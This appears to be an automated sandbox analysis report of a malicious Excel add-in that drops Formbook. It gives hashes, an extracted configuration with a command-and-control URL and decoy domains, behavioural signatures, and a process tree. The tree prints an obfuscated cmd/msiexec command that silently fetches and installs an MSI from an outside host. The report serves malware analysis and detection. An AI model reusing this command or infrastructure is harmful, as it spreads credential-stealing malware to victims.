Analysis
-
max time kernel
147s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
06-05-2021 14:25
Static task
static1
Behavioral task
behavioral1
Sample
14.xlam
Resource
win7v20210408
General
-
Target
14.xlam
-
Size
15KB
-
MD5
11e9376ee19889ee5c08e816b1d3b231
-
SHA1
d22b56bedc58de7da73d647a5f3048b9cabc17d7
-
SHA256
cfee90218720f31491495dd353027017808fb3b9524d6c86ddfd016a372f627c
-
SHA512
fe846e63b1616166bebed98bdea82f1d141a23a0abc68cf6dc94216f9b0242859dcebd5471aa0943a46a5ecfca1e430badaf049db4469ec3a13a252b2eb8164b
Malware Config
Extracted
formbook
4.1
http://www.111bjs.com/ccr/
abdullahlodhi.com
jevya.com
knoxvillerestaurant.com
mekarauroko7389.com
cricketspowder.net
johannchirinos.com
orangeorganical.com
libero-tt.com
lorenaegianluca.com
wintab.net
modernmillievintage.com
zgdqcyw.com
jeffabildgaardmd.com
nurulfikrimakassar.com
findyourchef.com
innovationsservicegroup.com
destek-taleplerimiz.com
whfqqco.icu
kosmetikmadeingermany.com
dieteticos.net
savarsineklik.com
newfashiontrends.com
e-mobilitysolutions.com
spaced.ltd
amjadalitrading.com
thejstutor.com
zzhqp.com
exoticomistico.com
oklahomasundayschool.com
grwfrog.com
elementsfitnessamdwellbeing.com
auldontoyworld.com
cumhuriyetcidemokratparti.kim
thetruthinternational.com
adimadimingilizce.com
retreatwinds.com
duoteshop.com
jasonkokrak.com
latindancextreme.com
agavedeals.com
motz.xyz
kspecialaroma.com
yuejinjc.com
print12580.com
ampsports.tennis
affordablebathroomsarizona.com
casnop.com
driftwestcoastmarket.com
bjsjygg.com
gwpjamshedpur.com
reserveacalifornia.com
caobv.com
culturaenmistacones.com
back-upstore.com
jjsmiths.com
iamxc.com
siobhankrittiya.com
digitalakanksha.com
koatku.com
shamushalkowich.com
merplerps.com
fishexpertise.com
sweetheartmart.com
nqs.xyz
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1904 1096 cmd.exe EXCEL.EXE -
Formbook Payload 2 IoCs
Processes:
resource yara_rule behavioral1/memory/2040-75-0x0000000000400000-0x000000000042E000-memory.dmp formbook behavioral1/memory/856-82-0x0000000000080000-0x00000000000AE000-memory.dmp formbook -
Blocklisted process makes network request 1 IoCs
Processes:
msiexec.exeflow pid process 5 1344 msiexec.exe -
Executes dropped EXE 2 IoCs
Processes:
MSI95BD.tmpMSI95BD.tmppid process 952 MSI95BD.tmp 2040 MSI95BD.tmp -
Loads dropped DLL 1 IoCs
Processes:
MSI95BD.tmppid process 952 MSI95BD.tmp -
Use of msiexec (install) with remote resource 1 IoCs
Processes:
msiexec.exepid process 1756 msiexec.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exedescription ioc process File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
MSI95BD.tmpMSI95BD.tmpnetsh.exedescription pid process target process PID 952 set thread context of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 2040 set thread context of 1256 2040 MSI95BD.tmp Explorer.EXE PID 856 set thread context of 1256 856 netsh.exe Explorer.EXE -
Drops file in Windows directory 6 IoCs
Processes:
msiexec.exedescription ioc process File opened for modification C:\Windows\Installer\MSI8E1C.tmp msiexec.exe File created C:\Windows\Installer\f7492ee.ipi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSI955E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI95BD.tmp msiexec.exe File opened for modification C:\Windows\Installer\f7492ee.ipi msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
NSIS installer 6 IoCs
Processes:
resource yara_rule C:\Windows\Installer\MSI95BD.tmp nsis_installer_1 C:\Windows\Installer\MSI95BD.tmp nsis_installer_2 C:\Windows\Installer\MSI95BD.tmp nsis_installer_1 C:\Windows\Installer\MSI95BD.tmp nsis_installer_2 C:\Windows\Installer\MSI95BD.tmp nsis_installer_1 C:\Windows\Installer\MSI95BD.tmp nsis_installer_2 -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE -
Modifies data under HKEY_USERS 1 IoCs
Processes:
msiexec.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad msiexec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1096 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 30 IoCs
Processes:
msiexec.exeMSI95BD.tmpnetsh.exepid process 1344 msiexec.exe 1344 msiexec.exe 2040 MSI95BD.tmp 2040 MSI95BD.tmp 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe 856 netsh.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
MSI95BD.tmpMSI95BD.tmpnetsh.exepid process 952 MSI95BD.tmp 2040 MSI95BD.tmp 2040 MSI95BD.tmp 2040 MSI95BD.tmp 856 netsh.exe 856 netsh.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
msiexec.exemsiexec.exeMSI95BD.tmpnetsh.exedescription pid process Token: SeShutdownPrivilege 1756 msiexec.exe Token: SeIncreaseQuotaPrivilege 1756 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeSecurityPrivilege 1344 msiexec.exe Token: SeCreateTokenPrivilege 1756 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 1756 msiexec.exe Token: SeLockMemoryPrivilege 1756 msiexec.exe Token: SeIncreaseQuotaPrivilege 1756 msiexec.exe Token: SeMachineAccountPrivilege 1756 msiexec.exe Token: SeTcbPrivilege 1756 msiexec.exe Token: SeSecurityPrivilege 1756 msiexec.exe Token: SeTakeOwnershipPrivilege 1756 msiexec.exe Token: SeLoadDriverPrivilege 1756 msiexec.exe Token: SeSystemProfilePrivilege 1756 msiexec.exe Token: SeSystemtimePrivilege 1756 msiexec.exe Token: SeProfSingleProcessPrivilege 1756 msiexec.exe Token: SeIncBasePriorityPrivilege 1756 msiexec.exe Token: SeCreatePagefilePrivilege 1756 msiexec.exe Token: SeCreatePermanentPrivilege 1756 msiexec.exe Token: SeBackupPrivilege 1756 msiexec.exe Token: SeRestorePrivilege 1756 msiexec.exe Token: SeShutdownPrivilege 1756 msiexec.exe Token: SeDebugPrivilege 1756 msiexec.exe Token: SeAuditPrivilege 1756 msiexec.exe Token: SeSystemEnvironmentPrivilege 1756 msiexec.exe Token: SeChangeNotifyPrivilege 1756 msiexec.exe Token: SeRemoteShutdownPrivilege 1756 msiexec.exe Token: SeUndockPrivilege 1756 msiexec.exe Token: SeSyncAgentPrivilege 1756 msiexec.exe Token: SeEnableDelegationPrivilege 1756 msiexec.exe Token: SeManageVolumePrivilege 1756 msiexec.exe Token: SeImpersonatePrivilege 1756 msiexec.exe Token: SeCreateGlobalPrivilege 1756 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeDebugPrivilege 2040 MSI95BD.tmp Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeRestorePrivilege 1344 msiexec.exe Token: SeTakeOwnershipPrivilege 1344 msiexec.exe Token: SeDebugPrivilege 856 netsh.exe -
Suspicious use of FindShellTrayWindow 6 IoCs
Processes:
EXCEL.EXEExplorer.EXEpid process 1096 EXCEL.EXE 1096 EXCEL.EXE 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE 1256 Explorer.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
Processes:
EXCEL.EXEpid process 1096 EXCEL.EXE 1096 EXCEL.EXE 1096 EXCEL.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
EXCEL.EXEcmd.exemsiexec.exeMSI95BD.tmpExplorer.EXEnetsh.exedescription pid process target process PID 1096 wrote to memory of 1904 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1904 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1904 1096 EXCEL.EXE cmd.exe PID 1096 wrote to memory of 1904 1096 EXCEL.EXE cmd.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1904 wrote to memory of 1756 1904 cmd.exe msiexec.exe PID 1344 wrote to memory of 952 1344 msiexec.exe MSI95BD.tmp PID 1344 wrote to memory of 952 1344 msiexec.exe MSI95BD.tmp PID 1344 wrote to memory of 952 1344 msiexec.exe MSI95BD.tmp PID 1344 wrote to memory of 952 1344 msiexec.exe MSI95BD.tmp PID 952 wrote to memory of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 952 wrote to memory of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 952 wrote to memory of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 952 wrote to memory of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 952 wrote to memory of 2040 952 MSI95BD.tmp MSI95BD.tmp PID 1256 wrote to memory of 856 1256 Explorer.EXE netsh.exe PID 1256 wrote to memory of 856 1256 Explorer.EXE netsh.exe PID 1256 wrote to memory of 856 1256 Explorer.EXE netsh.exe PID 1256 wrote to memory of 856 1256 Explorer.EXE netsh.exe PID 856 wrote to memory of 1612 856 netsh.exe cmd.exe PID 856 wrote to memory of 1612 856 netsh.exe cmd.exe PID 856 wrote to memory of 1612 856 netsh.exe cmd.exe PID 856 wrote to memory of 1612 856 netsh.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\14.xlam2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com/admin/4409212.msi /qn3⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exemSiExec /i http://farm-finn.com/admin/4409212.msi /qn4⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\SysWOW64\netsh.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Installer\MSI95BD.tmp"3⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI95BD.tmp"C:\Windows\Installer\MSI95BD.tmp"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Installer\MSI95BD.tmp"C:\Windows\Installer\MSI95BD.tmp"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\Installer\MSI95BD.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
C:\Windows\Installer\MSI95BD.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
C:\Windows\Installer\MSI95BD.tmpMD5
d8a19f13154e81e9d526077422655453
SHA1573e6aed1534203b36f9a8e5121c125b02e11b0f
SHA256b525832c63ea5d05a8afde822fcb39e5fb759497e7c2c986a5673fec721ed853
SHA512193344e672c7fb66fbd6acc2608c1d9acf360091ddf8086e5609e5a8ed511e1117fc2b7eb7cb43b56e984bf9f98f6a7648f8f1b0defc1416b2dca3c557ae39ae
-
\Users\Admin\AppData\Local\Temp\nss96A5.tmp\3dd73lht.dllMD5
df8beafa8d4250032a73e261c80e35e3
SHA13ced0abd9f02d24d79ede5052f661108b01df997
SHA256a57717b0b91bb128761a4363d12cacd45431c7e512d5a8d307b40cf30e6a26da
SHA512bf9fd7009e3c4919b2b230748c8f3795423b4e7e57d82d531a31682916dfb589c2df2b20320a51b532e21dec98ce597a4a80589ec5fa442417274661e1c9d1ce
-
memory/856-81-0x0000000000EE0000-0x0000000000EFB000-memory.dmpFilesize
108KB
-
memory/856-83-0x0000000000B20000-0x0000000000E23000-memory.dmpFilesize
3.0MB
-
memory/856-84-0x0000000000A30000-0x0000000000AC3000-memory.dmpFilesize
588KB
-
memory/856-82-0x0000000000080000-0x00000000000AE000-memory.dmpFilesize
184KB
-
memory/856-79-0x0000000000000000-mapping.dmp
-
memory/952-67-0x0000000000000000-mapping.dmp
-
memory/952-72-0x00000000003F0000-0x00000000003F2000-memory.dmpFilesize
8KB
-
memory/1096-60-0x000000002F951000-0x000000002F954000-memory.dmpFilesize
12KB
-
memory/1096-62-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1096-61-0x00000000714F1000-0x00000000714F3000-memory.dmpFilesize
8KB
-
memory/1256-85-0x00000000070F0000-0x000000000720E000-memory.dmpFilesize
1.1MB
-
memory/1256-78-0x0000000006CF0000-0x0000000006E2D000-memory.dmpFilesize
1.2MB
-
memory/1344-66-0x000007FEFBC41000-0x000007FEFBC43000-memory.dmpFilesize
8KB
-
memory/1612-80-0x0000000000000000-mapping.dmp
-
memory/1756-65-0x0000000075201000-0x0000000075203000-memory.dmpFilesize
8KB
-
memory/1756-64-0x0000000000000000-mapping.dmp
-
memory/1904-63-0x0000000000000000-mapping.dmp
-
memory/2040-77-0x0000000000260000-0x0000000000274000-memory.dmpFilesize
80KB
-
memory/2040-75-0x0000000000400000-0x000000000042E000-memory.dmpFilesize
184KB
-
memory/2040-76-0x00000000008C0000-0x0000000000BC3000-memory.dmpFilesize
3.0MB
-
memory/2040-73-0x000000000041EBB0-mapping.dmp